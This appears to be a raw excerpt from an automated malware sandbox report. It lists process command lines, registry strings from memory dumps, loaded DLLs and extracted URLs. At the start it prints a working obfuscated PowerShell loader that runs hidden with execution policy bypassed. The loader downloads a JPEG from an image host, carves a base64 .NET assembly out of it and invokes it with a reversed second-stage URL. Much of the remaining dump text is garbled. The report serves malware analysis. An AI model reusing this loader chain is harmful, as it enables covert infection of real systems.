D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00008104) Process "powershell.exe" with commands "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002120)54:T2344,"E\Software\MP" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp "Registry\Machine\SOFTWARE\Micro" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002120.00000000.244061.C51D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002120.00000000.244061.C54A0000.00000004.mdmp "Registry\Machine\SOFTWARE\Micro" in Source: 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002120.00000001.244972.C551B000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32" in Source: 00000000-00002120.00000001.244972.C551B000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "Registry\Machine\SOFTWARE\Micro" in Source: 00000000-00005228.00000000.243438.8AEA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005228.00000000.243438.8AEA0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005228.00000000.243438.8AEA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005228.00000000.243438.8AEA0000.00000004.mdmp "y\Machine\Software\Classes\AppID0" in Source: 00000000-00005228.00000000.243438.8AEA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005228.00000000.243438.A52B0000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00005228.00000000.243438.EC103000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00005228.00000000.243438.EC103000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00005228.00000000.243438.EC103000.00000002.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00008104.00000000.243778.1DF20000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008104.00000000.243778.5B740000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008104.00000000.243778.5B740000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008104.00000000.243778.75970000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00008104.00000000.243778.75970000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00008104.00000000.243778.75970000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008104.00000000.243778.75970000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "HKLM\" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00008104.00000000.243778.ECB1A000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008104.00000001.244992.5B740000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008104.00000001.244992.5B740000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008104.00000001.244992.75970000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00008104.00000001.244992.75970000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008104.00000001.244992.75970000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008104.00000001.244992.8A9F3000.00000002.mdmp55:Tf95,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00000764-00000C2B-2783158331] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00000764-00000C2B-2783349490] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00000764-00000C2B-2783605715] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005228-00000C2E-145027742] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005228-00000C2B-2789373973] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005228-00000C2B-2789440030] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005228-00000C2B-2789495754] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00005228-00000C2B-2789655375] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005228-00000C2B-2789723977] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005228-00000C2B-2789762353] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005228-00000C2B-2789798014] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00005228-00000C2B-2789869483] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00005228-00000C2B-2789904199] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005228-00000C2B-2789958414] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005228-00000C2B-2790059054] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005228-00000C2B-2790140626] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005228-00000C2B-2790366847] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005228-00000C2B-2790589278] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005228-00000C2B-2790713913] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005228-00000C2B-2790716693] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005228-00000C2B-2790915023] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005228-00000C2B-2791005867] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005228-00000C2B-2791032462] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll" [Source: 00000000-00005228-00000C2B-2791377446] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll" [Source: 00000000-00005228-00000C2B-2791418255]56:T6de1,Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000000.244061.AB140000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000000.244061.ACA70000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportcalrpc:[impcpyacltr1d8d3448-2a8d-409f-841d-2db9e0220897]mpupdateservice77bdaf73-b396-481f-9042-ad358843ec24rpc" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.113549.1.1.121.2.840.10045.2.11.3.6.1.5.5.7.1.12l/w()y4tg1.2.840.113549.1.1.51.2.840.10045.4.3.3microsoft" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm?v" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002120.00000000.244061.C51D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00002120.00000000.244061.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00002120.00000000.244061.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002120.00000000.244061.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002120.00000000.244061.C5330000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportec24oftware\policies\microsoft\windows" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.compv" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0swbx6syy'q\y-g" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2x5z19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4z=1e" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%2020y=[)%nc" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www." - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zcth,av" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.coi/cecrt08.ektlp0xr!s4zs9_>,at[%b\zyc8[rsa1encd1.3.6.1.4.1.311.10.3.61.3.6.1.5.5.7.3.3casmcasm0.0,tralf5f7rsa11.3.6.1.4.1.311.10.3.61.3.6.1.5.5.7.3.3encdencdencd^l$ztl.zjl(z34e089@l2zflldz1.3.6.1.4.1.311.10.3.61.3.6.1.5.5.7.3.34lnz*lhzcasm" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00002120.00000000.244061.C54A0000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000001.244972.AB140000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000001.244972.ACA70000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport3ec24\datar.dllicrosoft.test.management.automation.gpowershell.analyzersdigicert" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.113549.1.1.121.2.840.10045.2.11.3.6.1.5.5.7.1.12l/w()y4tg1.2.840.113549.1.1.51.2.840.10045.4.3.3microsoft" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm?v" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002120.00000001.244972.C51D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/" - Source: "00000000-00002120.00000001.244972.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00002120.00000001.244972.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002120.00000001.244972.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002120.00000001.244972.C5330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00002120.00000001.244972.C5330000.00000004.mdmp") Found URL "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webclient" - Source: "00000000-00002120.00000001.244972.C54A0000.00000004.mdmp") Found URL "http://w@pv" - Source: "00000000-00002120.00000001.244972.C54A0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportec24oftware\policies\microsoft\windows" - Source: "00000000-00002120.00000001.244972.C5504000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002120.00000001.244972.C5504000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0swbx6syy'q\y-g" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "http://www.microsoft.vv" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "http://www.._t.com0-" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "http://osoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002120.00000001.244972.C551B000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm[:dsbtwvtasn1intenttosealattributeencodeeit+0q" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*luserdnsdomain=aqwokes5svwxzrwuserdomain=aqwokes5svwxzrwuserprofile=c:\users\thhkhpmtcod:\prhhkh" - Source: "00000000-00005228.00000000.243438.A52B0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00005228.00000000.243438.A535C000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00005228.00000000.243438.A535C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005228.00000000.243438.A535C000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00005228.00000000.243438.A53B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005228.00000000.243438.A53B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005228.00000000.243438.A53B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005228.00000000.243438.A53B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/:s/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005228.00000000.243438.A55B0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found URL "http://www.microsoft.com0'6*lpath=c:\program" - Source: 